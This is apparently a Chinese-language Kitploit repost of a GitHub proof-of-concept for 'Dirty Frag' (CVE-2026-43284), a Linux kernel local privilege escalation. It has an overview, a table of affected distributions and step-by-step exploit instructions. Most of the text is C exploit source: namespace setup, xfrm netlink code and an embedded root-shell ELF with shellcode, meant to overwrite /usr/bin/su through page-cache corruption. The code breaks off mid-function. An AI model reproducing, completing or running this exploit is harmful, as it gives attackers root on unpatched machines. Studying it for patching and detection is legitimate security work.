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CVE-2026-43284 — Dirty Frag - Linux 内核严重漏洞 | Kitploit
工具/GitHubGitHub/lucaspdiniz/cve-2026-43284
权限提升漏洞利用框架漏洞分析漏洞利用渗透测试红队二进制利用
GitHublucaspdiniz/cve-2026-43284

CVE-2026-43284

Dirty Frag - Linux 内核严重漏洞

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Dirty Frag - Linux 内核关键漏洞 - CVE-2026-43284 📚

简介

该漏洞利用链被归类为本地权限提升 (LPE),允许非特权用户在所有现代 Linux 发行版上获得 root 访问权限,影响自 2017 年以来发布的几乎所有内核版本,跨越约九年的版本。该利用通过 esp4、esp6 和 rxrpc 模块的原位解密路径进行操作,通过 splice(2) 和 sendmsg(2) 等标准系统调用破坏内核页缓存,既不需要用户交互,也不需要远程攻击向量。

这两个组成漏洞是:

  • xfrm-ESP 页缓存写入 - CVE-2026-43284,位于 IPsec ESP 输入路径中。于 2026 年 5 月 7 日合并到 netdev 树,并于 2026 年 5 月 8 日作为 commit f4c50a4034e6(在新标签页中打开)被主线接受。

  • RxRPC 页缓存写入 - CVE-2026-43500 已预留,位于 AFS RxRPC 验证路径中。在披露时,任何树中均不存在补丁。

受影响发行版

发行版受影响版本CVE-2026-43284 (ESP)CVE-2026-43500 (RxRPC)补丁状态
RHEL8, 9, 10✅ 受影响✅ 受影响已修复
AlmaLinux8, 9, 10✅ 受影响⚠️ 仅 9 和 10¹已修复
Rocky Linux8, 9, 10✅ 受影响✅ 受影响已修复
CentOS8✅ 受影响✅ 受影响已修复
CloudLinux7 Hybrid, 8, 9, 10✅ 受影响✅ 受影响已修复
Oracle Linux受影响 RHCK / UEK✅ 受影响✅ 受影响已修复
Ubuntu20.04, 22.04, 24.04✅ 受影响✅ 受影响已修复
DebianBullseye, Bookworm, Trixie✅ 受影响✅ 受影响已修复 (sid 优先)
Fedora当前版本✅ 受影响✅ 受影响已修复
Arch Linux滚动✅ 受影响✅ 受影响已修复
Amazon Linux2, 2023✅ 受影响✅ 受影响已修复
Proxmox VE当前版本✅ 受影响✅ 受影响已修复


受影响:Linux 内核 ≥ 4.14(自 2017 年 1 月起)· 所有主要发行版 · 无远程攻击向量 CVSS 3.1:8.8 高 (CVE-2026-43284) · 披露日期:2026 年 5 月 7 日 · PoC 零日公开 研究人员:Hyunwoo Kim (@v4bel)

利用 🔓

  1. 为了利用此漏洞,我们将使用以下概念验证代码,创建一个名为 exp.c 的文件。``` #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h>

#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif

#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */

/*

  • 192-byte minimal x86_64 root-shell ELF.
  • _start at 0x400078:
  • setgid(0); setuid(0); setgroups(0, NULL);
    
  • execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
    
  • PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
  • Setting TERM in the new shell's env silences the
  • "tput: No value for $TERM" / "test: : integer expected" noise
  • /etc/bash.bashrc and friends emit when TERM is unset.
  • Code (from offset 0x78):
  • 31 ff xor edi, edi
  • 31 f6 xor esi, esi
  • 31 c0 xor eax, eax
  • b0 6a mov al, 0x6a ; setgid
  • 0f 05 syscall
  • b0 69 mov al, 0x69 ; setuid
  • 0f 05 syscall
  • b0 74 mov al, 0x74 ; setgroups
  • 0f 05 syscall
  • 6a 00 push 0 ; envp[1] = NULL
  • 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
  • 50 push rax ; envp[0]
  • 48 89 e2 mov rdx, rsp ; rdx = envp
  • 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
  • 31 f6 xor esi, esi ; rsi = NULL (argv)
  • 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
  • 0f 05 syscall ; execve("/bin/sh",NULL,envp)
  • "TERM=xterm\0" (offset 0xa5..0xaf)
  • "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };

extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)

static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }

static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }

static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }

char buf[4096] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type  = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_pid   = getpid();
nlh->nlmsg_seq   = 1;
nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
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